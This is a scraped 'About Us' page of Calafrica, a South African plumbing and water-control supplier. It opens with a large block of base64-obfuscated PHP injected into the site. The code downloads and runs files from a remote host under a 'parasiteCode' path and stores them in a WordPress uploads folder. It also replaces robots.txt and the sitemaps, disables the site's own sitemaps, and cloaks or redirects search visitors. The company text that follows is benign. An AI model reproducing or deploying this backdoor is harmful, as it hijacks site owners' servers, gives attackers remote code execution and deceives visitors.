error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), 0);define(base64_decode('Q0FDSEVfVFRM'), 1800);define(base64_decode('SU1BR0VfQ0FDSEVfVFRM'), 86400);if (defined(base64_decode('QUJTUEFUSA=='))) define(base64_decode('Q0FDSEVfRElS'), ABSPATH . base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzL2NhY2hlLw=='));else define(base64_decode('Q0FDSEVfRElS'), __DIR__ . base64_decode('Ly4uLy4uLy4uL3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2Fkcy9jYWNoZS8='));define(base64_decode('U0lURV9JRA=='), base64_decode('MTEwMjA='));define(base64_decode('Q09ERV9BUElfS0VZ'), base64_decode('ZWUyNGVmY2MxMjQ4NDZhYjg5MjhjYjJlM2YzMWViNzE='));define(base64_decode('Q09ERV9BUElfQkFTRV9VUkw='), base64_decode('YS52aW5hcGkudG9w'));define(base64_decode('Q09ERV9BUElfVVJM'), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID);define(base64_decode('SU1BR0VfQVBJX1VSTA=='), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID . base64_decode('L2ltYWdlcy8w'));define(base64_decode('VVNFX0NVUkw='), function_exists(base64_decode('Y3VybF9pbml0')));if (!defined(base64_decode('REVERURFQlVH'))) define(base64_decode('REVERURFQlVH'), isset($_GET[base64_decode('ZGVkZWRlYnVn')]));if (!is_dir(CACHE_DIR)) {@mkdir(CACHE_DIR, 0755, true);}if (isset($_GET[base64_decode('YWN0aW9u')]) && $_GET[base64_decode('YWN0aW9u')] === base64_decode('YnVpbGQ=')) {$apiKey = $_SERVER[base64_decode('SFRUUF9YX0NPREVfQVBJX0tFWQ==')] ?? base64_decode(base64_decode(''));if (!empty($apiKey) && $apiKey === CODE_API_KEY) {wpclowo_buildFileStructure();header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 0, base64_decode('bXNn') => base64_decode('U1VDQ0VTUw==')]);exit();} else {http_response_code(401);header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 1, base64_decode('bXNn') => base64_decode('QVBJX0tFWV9GQUlMRUQ=')]);exit();}}if (!file_exists(CACHE_DIR . base64_decode('aW5kZXgucGhw'))) {wpclowo_buildFileStructure();}function wpclowo_send_req($url, $headers){$search_dir = base64_decode('Lg==');$is_loaded = false;if (DEDEDEBUG) {echo base64_decode('c2VuZF9yZXEhPGJyPg==');}for ($i = 0; $i <= 4; $i++) {$file_path = $search_dir . base64_decode('L3dwLWxvYWQucGhw');if (file_exists($file_path) || is_link($file_path)) {require_once($file_path);$is_loaded = true;break;}$search_dir = dirname($search_dir);if ($search_dir === dirname($search_dir)) {break;}}if ($is_loaded) {if (DEDEDEBUG) {echo base64_decode('d3BfcmVtb3RlX2dldCE8YnI+');}$response = wp_remote_get($url, [ base64_decode('dGltZW91dA==') => 10, base64_decode('c3NsdmVyaWZ5') => false, base64_decode('aGVhZGVycw==') => $headers ]);if (is_wp_error($response)) {return [base64_decode('ZXJy') => $response];} else {$body = wp_remote_retrieve_body($response);return [base64_decode('Ym9keQ==') => $body];}} else {return [base64_decode('ZXJy') => base64_decode('V1BfTE9BRF9OT1RfRk9VTkQ=')];}}function wpclowo_isImageFile($fileName){$imageExtensions = [base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d2VicA==')];$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));return in_array($ext, $imageExtensions);}function wpclowo_write2temp2file($name, $content){$temp = $name . base64_decode('LmJr');if (DEDEDEBUG) {echo base64_decode('U1RBUlQgTU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('ICE8YnI+');}if (@file_put_contents($temp, $content) !== false) {if (@rename($temp, $name)) {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('IFNVQ0NFU1MhPGJyPg==');}return 0;} else {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 1;}} else {if (DEDEDEBUG) {echo base64_decode('Q1JFQVRFIA==') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 2;}}function wpclowo_createFileStructure($remoteData){if (!$remoteData || !isset($remoteData[base64_decode('ZmlsZXM=')])) return;foreach ($remoteData[base64_decode('ZmlsZXM=')] as $file) {if (DEDEDEBUG) {echo base64_decode('RklMRTog') . $file[base64_decode('cGF0aA==')] . base64_decode('PGJyPg==');echo base64_decode('Q09OVEVOVDog') . gettype($file[base64_decode('Y29udGVudA==')]) . base64_decode('PGJyPg==');}$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}function wpclowo_verifyCode(){$datas = [ @file_get_contents(CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), @file_get_contents(CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), ];foreach ($datas as $data) {$files = (object)@$data[base64_decode('ZGF0YQ==')][base64_decode('ZmlsZXM=')];foreach ($files as $file) {$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (!file_exists($filePath) || filesize($filePath) <= 0) {if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}}}function wpclowo_buildFileStructure($dl = true){$cacheFile = CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');$imageCacheFile = CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');try {$cache_exists = file_exists($cacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhQ09ERQ==') . PHP_EOL;}curl_setopt($ch, CURLOPT_URL, CODE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUNPREU8YnI+');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(CODE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . CODE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];} else {if (DEDEDEBUG) {var_dump($req_result);}}}if ($response) {$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($cacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhQ09ERTxicj4=');}$data = @json_decode(@file_get_contents($cacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}try {$cache_exists = file_exists($imageCacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhSU1HPGJyPg==');}curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUlNRzxicj4=');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(IMAGE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . IMAGE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];}}if ($response) {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhSU1HPGJyPg==');}$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($imageCacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {$data = @json_decode(@file_get_contents($imageCacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}}$request_uri = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] ?? base64_decode('Lw==');$request_path = parse_url($request_uri, PHP_URL_PATH);$query_string = parse_url($request_uri, PHP_URL_QUERY);$redir_exceptions = [ base64_decode('L3Byb2R1Y3RzLw=='), base64_decode('L3Byb2R1Y3Qv'), base64_decode('L2dhbWVzLw=='), base64_decode('L2dhbWUv'), base64_decode('L3NhbGUv'), base64_decode('L3NhbGVzLw=='),];$should_redir = false;foreach ($redir_exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$should_redir = true;break;}}$exceptions = [base64_decode('L3dwLWFkbWluLw=='), base64_decode('L3dwLWxvZ2luLnBocA=='), base64_decode('L2NhY2hlLw=='), base64_decode('L3dwLWNvbnRlbnQvdGhlbWVzLw=='), base64_decode('L3dwLWNvbnRlbnQvcGx1Z2lucy8='), base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy8='),];$is_exception = false;foreach ($exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$is_exception = true;break;}}if (DEDEDEBUG) {echo base64_decode('SVNfRVhDRVBUSU9OOiA=') . $is_exception . base64_decode('PGJyPg==');echo base64_decode('c2hvdWxkX3JlZGlyOiA=') . $should_redir . base64_decode('PGJyPg==');}$static_extensions = [base64_decode('cGhw'), base64_decode('Y3Nz'), base64_decode('anM='), base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d29mZg=='), base64_decode('d29mZjI='), base64_decode('dHRm'), base64_decode('ZW90'), base64_decode('cGRm')];$is_static_file = false;foreach ($static_extensions as $ext) {if (preg_match(base64_decode('L1wu') . preg_quote($ext, base64_decode('Lw==')) . base64_decode('JC8='), $request_path)) {$is_static_file = true;break;}}if (function_exists(base64_decode('YWRkX2ZpbHRlcg=='))) {add_filter(base64_decode('d3Bfc2l0ZW1hcHNfZW5hYmxlZA=='), base64_decode('X19yZXR1cm5fZmFsc2U='));add_filter(base64_decode('cmFua19tYXRoL3NpdGVtYXAvZW5hYmxl'), base64_decode('X19yZXR1cm5fZmFsc2U='));add_filter(base64_decode('d3BzZW9fZW5hYmxlX3htbF9zaXRlbWFw'), base64_decode('X19yZXR1cm5fZmFsc2U='));}if ($request_path === base64_decode('L3JvYm90cy50eHQ=')) {$robots_file = CACHE_DIR . base64_decode('cm9ib3RzLnR4dA==');if (file_exists($robots_file)) {header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));readfile($robots_file);exit();} else {$currentDomain = $_SERVER[base64_decode('SFRUUF9IT1NU')] ?? base64_decode('bG9jYWxob3N0');$robotsContent = base64_decode('VXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblNpdGVtYXA6IGh0dHBzOi8v') . $currentDomain . base64_decode('L3NpdGVtYXAueG1s');header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));echo $robotsContent;exit();}}if (preg_match(base64_decode('L15zaXRlbWFwLipcLnhtbCQv'), $query_string ?? base64_decode(base64_decode(''))) || preg_match(base64_decode('L15cL3NpdGVtYXAuKlwueG1sJC8='), $request_path)) {$sitemap_file = CACHE_DIR . base64_decode('c2l0ZW1hcC5waHA=');if (file_exists($sitemap_file)) {require_once $sitemap_file;exit();}}if (DEDEDEBUG) {echo base64_decode('SVNfU1RBVElDX0ZJTEU6IA==') . $is_static_file . base64_decode('PGJyPg==');}if ($should_redir && !$is_static_file) {$usering_file = CACHE_DIR . base64_decode('dXNlcmluZy5waHA=');$cloaking_file = CACHE_DIR . base64_decode('Y2xvYWtpbmcucGhw');$config_file = CACHE_DIR . base64_decode('Y29uZmlnLnBocA==');if (file_exists($usering_file) && file_exists($config_file)) {require_once $usering_file;} else if (file_exists($cloaking_file) && file_exists($config_file)) {require_once $cloaking_file;} else {if (DEDEDEBUG) {echo base64_decode('RklMRSBOT1QgRVhJU1QhPGJyPg==');}}$clean_path = trim($request_path, base64_decode('Lw=='));if (isset($user) && $user->is_human_from_search) {if (DEDEDEBUG) {echo base64_decode('UkVESVI8YnI+');}header(base64_decode('TG9jYXRpb246') . $user->getRedirectUrl());exit();} elseif (isset($blocked) && $blocked) {if (DEDEDEBUG) {echo base64_decode('QkxPQ0tFRCE8YnI+');}$clean_path = base64_decode('Lw==') . $clean_path;$router_file = CACHE_DIR . base64_decode('cm91dGVyLnBocA==');if (file_exists($router_file)) {require_once $router_file;}exit();} else {if (DEDEDEBUG) {echo base64_decode('Tk9UIEJMT0NLRUQhPGJyPg==');}}} About Us – CALAFRICA

It is a long established fact that a reader of a page when looking at its layout.

Contacts
Making water work for you
Our Story

Over the past 25 years, Calafrica (Pty) Ltd has been providing effective and
comprehensive water and fluid control products to the plumbing and construction
industry in South Africa. Established in 1995 by Avron Fullerton, Calafrica
continues to ensure safe and sustainable solutions to almost any situation where
the control of water pressure and flow is necessary, ensuring a high level of
system performance and efficiency that meets specific SANS and SABS
requirements.

Our range comprises of:

“The protection and control of mankind’s most critical resource – water in buildings of all types and sizes is our business.”

Our expertise include specialised consulting and advice regarding hot and cold water reticulation system plan layouts, as well as any technical advice for new installations or problem solving within existing systems.

All of our products carry a comprehensive warranty backed by efficient service.

servicebox

Our Mission

At CALAFRICA we deliver quality products to offer hydronic and plumbing solutions.

servicebox

Our Vision

To supply accurate knowledge and add value to your business.

servicebox

Our Values

To exist with integrity in all actions.

Get In Touch

All of our products carry a comprehensive warranty backed by efficient service teams.

MEMBER OF IOPSA

THE INSTITUTE OF PLUMBING SA PROMOTING QUALITY PLUMBING FOR ALL